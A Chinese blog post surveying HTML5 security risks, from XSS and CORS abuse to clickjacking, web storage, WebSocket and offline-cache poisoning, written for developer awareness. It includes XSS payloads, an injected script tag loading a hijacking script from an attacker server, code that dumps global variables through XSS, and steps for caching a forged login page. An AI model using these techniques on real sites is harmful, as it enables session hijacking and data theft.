`
MyEyeOfJava
  • 浏览: 1152480 次
  • 性别: Icon_minigender_1
  • 来自: 北京
博客专栏
7af2d6ca-4fe1-3e9a-be85-3f65f7120bd0
测试开发
浏览量:71185
533896eb-dd7b-3cde-b4d3-cc1ce02c1c14
晨记
浏览量:0
社区版块
存档分类
最新评论

HTML5安全

阅读更多

移动安全问题汇总:https://html5sec.org/

把应用的端扩展到mobile自然而然会带来安全的隐患,特别是对于我们基于HTML5来做跨平台的开发更是如此。HTML5提供了很多特性,各个平台都在努力的实现这些特性,开发者也努力地在使用这些特性,以此求得不一样地体验。然而,事情都有两面性,大多数web应用的安全措施都是基于传统的HTML,没有覆盖到HTML5的新特性,下面来看看由于HTML5新特性而带来的安全隐患:

  • XSS
  • CORS & CSRF
  • Clickjacking
  • Web storage
  • WebSocket
  • Desktop Notifications
  • Geolocation
  • Offline
  • Web worker

1)XSS

XSS(跨站脚本攻击)这里不想全面介绍,这是web安全中最基础的一个问题,大多数web应用都会做XSS防范。HTML5的新特性里提供了很多执行JS的触发点,比如下面几个例子:

  • <video><source onerror="javascript:alert(1)“>
  • <input autofocus onfocus=alert(1)>
  • <form id="test" /><button form="test" formaction="javascript:alert(1)">

这些都给攻击者植入脚本带来了新机会。因此,大家有必要把自己应用里XSS防范措施再好好审查一下,有个哥们总结了一下基于HTML5可以做XSS的点,http://code.google.com/p/html5security/,大家可以参考一下。

web攻击大多数都是组合拳,XSS是很多组合拳中必要的一步,因此,拦住了XSS,也就拦住了大半web攻击,值得大家重视。

2)CORS & CSRF

HTML5之前有SOP(Same Origin Policy)的规范,也就是ajax不能跨域访问,这个玩意导致很多web开发者很痛苦,以至于搞出很多跨域方案,比如JSONP和flash socket。HTML5给大家提供了方便,搞出了一个CORS(Cross Origin Resource Sharing)规范,也就是说在如果在服务端加上Access-Control-Allow-Origin: xxx,也就表示此服务端容许来自xxx的跨域访问,这确实很方便,不过也方便了攻击者使受害者客户端与自己的服务端产生双向通信,以至更方便植入更多东西,比如模拟请求来搞CSRF。下面是一个CORS攻击的流程图:

首先通过XSS等方法来导致受害者的客户端向你的服务器发送Ajax请求,只要你的返回的head里Access-Control-Allow-Origin包含当前客户端的访问的域名,你就可以对客户端返回,然后,你就可以把你想要客户端执行的操作返回给客户端,使其执行,这样你就可以以受害者的身份做你想做的事情。http://www.andlabs.org/tools/sotf/sotf.html这篇文章里介绍了一个方便实施CORS攻击的工具,通过使用这个工具,能更直观感受攻击的全过程:

1. 下载并启动attacker server

2. 在受攻击的网站里植入脚本,这里使用了一个demo网站,并直接在seach里搜索:<script src="http://127.0.0.1:8080/e2.js"></script>,值其载入e2.js并执行

3. 启动攻击console(http://127.0.0.1:8080/sotf.console,注意8080是第一步里配置的,并且此浏览器需要把代理设置为127.0.0.1:1337,1337也是第一步里配置的):

点击‘Hijack Session’后显示受害者正在访问的网站:

这时你就成功的挂住了受害者,你可以向受害者发送你想做的操作,比如,你随意点击左边的链接,你在受害者的浏览器的http请求里能看到,浏览器在悄悄地重放你在console里访问页面的请求:

大致看看e2.js源码也能看出大致的流程。这是很不错的学习案例。

3)Clickjacking

Clickjacking也是一种比较传统的攻击方法,也就是通过对页面的修改欺骗用户的眼睛,使其做了不想做的事儿,比如点击下面的图片:

而实际上此页面上面还附有一个隐藏的iframe:

使得你无意识地到amazon上买了东西。这种攻击其实是很难完成的,一是很难诱导用户填写一些值,二是由于SOP的限制iframe里脚本的行为,但HTML5的新特性又方便了实施Clickjacking。https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf详细地介绍了如何基于drag特性来实施Clickjacking。

4)Web storage

HTML5提供了local storage能力,比如localstorage API和web database,如果把关键信息存在local storage里,就有被窃取的可能。虽然HTML5的规范里规定local storage只能被同域访问,但通过XSS和Domain Name System (DNS) cache poisoning等方法就能绕开这个限制。所以不能把关键信息不做任何保护的形式放在local storage里。另外,有些开发者也习惯把一些关键信息放在global变量里,比如登录密码等,这些变量也是有被泄漏的可能,比如下面这段代码就能遍历所有global变量:

 

[javascript] view plaincopy
 
  1. for(i in window){  
  2. obj=window[i];  
  3. if(obj!=null||obj!=undefined)  
  4. var type = typeof(obj);  
  5. if(type=="object"||type=="string")  
  6. {  
  7. console.log("Name:"+i)  
  8. try{  
  9. my=JSON.stringify(obj);  
  10. console.log(my)  
  11. }catch(ex){}  
  12. }  
  13. }  

以此完全可以通过XSS来执行上面类似的代码。

5) WebSocket

WebSocket是HTML5非常受人关注的特性,它提供了客户端与服务端的双向通信能力,这也暴露了一些安全隐患,比如:

  • 暴露成后门,成为攻击者植入脚本的shell
  • 通过客户端做端口扫描

http://www.andlabs.org/tools/jsrecon.html是一个基于WebSocket的端口扫描器,从中可以体会到如何websocket来进行攻击。

6)Desktop Notifications

Desktop Notifications是HTML5在右下角弹出本地消息的能力,如下图所示:

这种本地消息极其容易诱惑用户去点击,所以通过这种形式,能很容易诱导用户泄漏关键信息,比如:

7)Geolocation

Geolocation使得web应用能拿到客户端地理信息,也导致攻击者可以窃取用户的地理信息,有了地理信息就可以做很多事情,比如:

  • 发送本地化的广告
  • 跟踪
  • 售卖个人信息

8)Offline

Offline是HTML5提供的缓存静态资源的能力,通过以下配置:

 

[plain] view plaincopy
 
  1. CACHE MANIFEST  
  2. /file1.html  
  3. /images/someImage.jpg  
  4. /JavaScript/script1.js  

就可以缓存这三个文件,下次就直接在本地访问。这种方式也有安全隐患,比如下面的步骤:

 

  1. 在有无密码保护的wifi的环境中(比如咖啡厅)里,截取网络通信,伪造页面返回,比如login.html
  2. 把login.html作为cache缓存起来
  3. 用户在将来就算离开wifi环境下依然访问的是你伪造的login.html,从而一直受你的控制

9)Web worker

Web worker是HTML5提供的多线程任务的能力,这使得攻击者可以执行一些需要长时间运行的脚本,并且是background的,可以神不知鬼不觉。

从上面这些例子可以看出,HTML5的各种新特性确实是双刃剑,安全隐患不止这么一些,我们对于这些新特性的应用,需要多深层次的想想,看看有没有安全隐患。

分享到:
评论

相关推荐

    HTML5安全:移动互联网时代的下一个关注点

    在HTML5正在兴起的今天,当人们的目光还聚焦于HTML5和Flash的竞争以及主流厂商的态度之时,一个新的问题正在凸显——HTML5安全。虽然相关标准组织已经就HTML5的安全作出了一些规范,但是随着HTML5不断推入市场,更多...

    HTML5安全 demo

    "HTML5安全 demo"很可能是为了展示这些安全问题并提供防范措施的实例。在这个压缩包中,我们有四个文件:csrf.html、worker.html、run_worker.js 和 worker.js,它们分别涉及了跨站请求伪造(CSRF)和Web Workers的...

    关注HTML5安全

    标题:“关注HTML5安全” 描述:“关注HTML5安全 演讲PPT 还不错” 标签:“HTML5,安全” 部分内容摘要与详细分析: 随着HTML5的广泛应用,其安全性问题日益受到关注。从HTML到HTML5的发展历程,见证了网页技术...

    开发人员需要牢记的HTML 5安全问题

    ### 开发人员需要牢记的HTML 5安全问题 随着HTML5的发展与普及,它为Web开发带来了许多新的特性和功能,同时也引入了一些新的安全挑战。本文将深入探讨几个重要的安全问题,包括客户端存储、跨域通信以及iframe安全...

    浏览器魔术 html5安全研究 html欺骗

    "浏览器魔术 html5安全研究 html欺骗"这个主题聚焦于如何利用HTML5进行高级浏览器操作,并探讨了与之相关的安全性问题,特别是HTML欺骗。 HTML5引入了许多新的元素和API,比如Canvas、Web Storage、WebSocket等,...

    HTML5安全_移动互联网时代的下一个关注点_封莎.pdf

    HTML5安全是移动互联网时代一个日益重要的议题。随着HTML5技术的广泛应用,它不仅带来了丰富的媒体体验和便捷的Web应用程序,同时也引入了一系列新的安全挑战。HTML5被看作是下一代Web语言,它增强了Web在多媒体、...

    H5SC, HTML5安全Cheatsheet一个HTML5相关的XSS攻击向量集合.zip

    H5SC, HTML5安全Cheatsheet一个HTML5相关的XSS攻击向量集合 HTML5安全功能这是H5SC或者HTML5安全插件的新主页。 在这里你可以找到三种东西:一个 Collection 相关的XSS攻击向量一组用于XSS测试的有用文件一组以前...

    期刊HTML5新特性安全研究综述_张玉清1

    此外,对现有的研究进行了概述,将HTML5安全问题归类为传统威胁的扩展、恶意使用和不当使用三类,为深入研究HTML5安全提供了新的视角。未来的研究方向包括四个关键领域。 【详细知识点】 1. **新标签和表单安全**...

    HTML5新特性安全研究综述_张玉清1

    最后,作者指出了未来的研究方向,包括增强安全意识培训、开发新的防御机制、制定更严格的HTML5安全规范以及提高浏览器的安全实现。 总的来说,HTML5的新特性虽然极大地提升了Web应用的用户体验和功能,但同时也对...

    H5SC:HTML5安全备忘单-与HTML5相关的XSS攻击向量的集合

    HTML5安全备忘单 这是H5SC或HTML5安全备忘单的新目录。 在这里,您会发现三件事: 与HTML5相关的XSS攻击向量的集合 一组用于XSS测试的有用文件 一组以前隐藏的功能,可用于XSS测试 XSS向量 XSS向量的集合可以在这里...

    HTML5安全风险详析

    它是一个妥协,有更大的灵活性,但比起简单地允许所有这些的要求来说更加安全。简言之,CORS就是为了让AJAX可以实现可控的跨域访问而生的。SOP就是SameOriginPolicy同源策略,指一个域的文档或脚本,不能获取或修改...

    HTML5安全介绍之内容安全策略(CSP)简介

    万维网的安全策略植根于同源策略。例如www.jb51.net的代码只能访问www.jb51.net的数据,而没有访问http://www.baidu.com的权限。每个来源都与网络的其它部分分隔开,为开发人员构建了一个安全的沙箱。理论上这是完美...

    html修改注册表解密

    3. **HTML5安全措施**:HTML5引入了一些安全特性,如Content Security Policy(CSP),以防止跨站脚本攻击和阻止非授权的注册表操作。 4. **注册表编辑器**:正常情况下,修改注册表应通过Windows自带的“regedit”...

    Web安全测试规范.doc

    11. **HTML5安全测试**:随着HTML5的普及,测试应关注新特性如离线存储、WebSocket等的安全使用,防止数据泄露和跨域问题。 12. **FLASH安全配置测试**:由于Flash常用于富互联网应用,测试其配置以防止跨站点脚本...

    blackhat html

    根据给定的标题和描述,我们可以深入探讨关于HTML5安全威胁的相关知识点。在Shreeraj Shah于2012年2月23日的演讲中,他详细列举了HTML5所带来的十大威胁,这些威胁不仅包括了传统的攻击方式,还涵盖了由于HTML5新...

    好看的安全跳转单页html源码.zip

    在这个源码中,我们可以期待看到标准的HTML5文档类型声明、头部信息、标题元素、以及可能的主体内容区域,用于放置跳转逻辑。 2. **CSS美化**:CSS(层叠样式表)用于定义HTML元素的外观和布局。"好看"的描述意味着...

Global site tag (gtag.js) - Google Analytics